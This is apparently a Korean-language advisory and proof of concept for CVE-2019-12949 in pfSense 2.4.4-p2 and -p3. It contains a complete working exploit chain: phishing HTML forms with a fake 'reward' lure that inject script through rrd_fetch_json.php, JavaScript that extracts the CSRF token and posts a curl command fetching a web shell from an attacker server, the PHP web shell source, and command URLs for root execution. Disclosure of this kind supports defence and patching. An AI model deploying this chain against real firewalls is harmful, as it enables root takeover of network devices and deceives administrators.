
CVE-2019-12949
pfSense 2.4.4-p2 및 2.4.4-p3에서, 인증된 관리자를 속여 피싱 페이지의 버튼을 클릭하게 할 수 있다면, 공격자는 ding_command.php와 rrd_fetch_json.php를 통해 서버에 임의의 실행 코드를 업로드할 수 있습니다. 그런 다음 원격 공격자는 해당 서버에서 루트 권한으로 모든 명령을 실행할 수 있습니다.
연구자: The Tarantula Team의 Enter, VinCSS (Vingroup의 일원)
공격 벡터: https://pfSense_IP_Address/rrd_fetch_json.php
POST 요청을 보냅니다:
<form action="https://[PFsense-domain]/rrd_fetch_json.php" method="post">
<input type="hidden" name="left" value="system-processor"><br>
<input type="hidden" name="right" value="null"><br>
<input type="hidden" name="start" value=""><br>
<input type="hidden" name="end" value=""><br>
<input type="hidden" name="resolution" value="300"><br>
<input type="hidden" name="timePeriod" value="i3i3j<script>alert(1)</script>tz9b1"><br>
<input type="hidden" name="graphtype" value="line"><br>
<input type="hidden" name="invert" value="true"><br>
<input type="hidden" name="refreshInterval" value="0">
<h1>Congratulations on receiving the reward from us</h1>
<h1>Click to receive gifts</h1>
<input type="submit" value="Submit">
</form>
공격자는 pfSense의 XSS 취약점을 악용하기 위해 다음과 같은 피싱 사이트를 만들 수 있습니다:
<form action="https://[PFsense-domain]/rrd_fetch_json.php" method="post">
<input type="hidden" name="left" value="system-processor"><br>
<input type="hidden" name="right" value="null"><br>
<input type="hidden" name="start" value=""><br>
<input type="hidden" name="end" value=""><br>
<input type="hidden" name="resolution" value="300"><br>
<input type="hidden" name="timePeriod" value="i3i3j<script src='https://[Attacker-Server]/payload.js'></script>tz9b1"><br>
<input type="hidden" name="graphtype" value="line"><br>
<input type="hidden" name="invert" value="true"><br>
<input type="hidden" name="refreshInterval" value="0">
<h1>Congratulations on receiving the reward from us</h1>
<h1>Click to receive gifts</h1>
<input type="submit" value="Submit">
</form>
공격자 서버의 payload.js 파일에는 다음과 같은 JavaScript 코드(페이로드)가 포함됩니다:
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "https://[PFsense domain]/diag_command.php", false);
xhr.withCredentials=true;
xhr.send(null);
var resp = xhr.responseText;
console.log(resp);
var start_idx = resp.indexOf('name=\'__csrf_magic\' value="');
var end_idx = resp.indexOf('" />', start_idx);
var token = resp.slice(start_idx + 27, end_idx);
console.log(token);
// now execute the CSRF attack using XHR along with the extracted token
var xhr1 = new XMLHttpRequest();
xhr1.open("POST", "https://[PFsense-domain]/diag_command.php", false);
xhr1.withCredentials=true;
var params = "__csrf_magic="+token+"&txtCommand=curl https://[Attacker-Server]/shell.txt > a.php&submit=EXEC";
xhr1.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr1.setRequestHeader("Content-length", params.length);
xhr1.send(params);
</script>
공격자 서버의 shell.txt 파일에는 다음과 같은 PHP 웹셸 내용이 포함됩니다:
<?php
system($_REQUEST['cmd']); // allow remote attacker to run commands on victim server
phpinfo(); // show phpinfo
?>
마지막으로, 공격자는 인증된 pfSense 관리자(피해자)를 속여 피싱 사이트에 접속하고 피싱 사이트의 'Submit' 버튼을 클릭하게 합니다. 그러면 피해자는 pfSense 관리자 사이트로 리디렉션되고, 공격자의 웹셸이 자동으로 pfSense 서버에 성공적으로 로드됩니다.
그런 다음 원격 공격자는 pfSense 서버에서 루트 권한으로 임의의 코드를 실행할 수 있습니다:
https://[PFsense-domain]/a.php?cmd=whoami
https://[PFsense-domain]/a.php?cmd=ls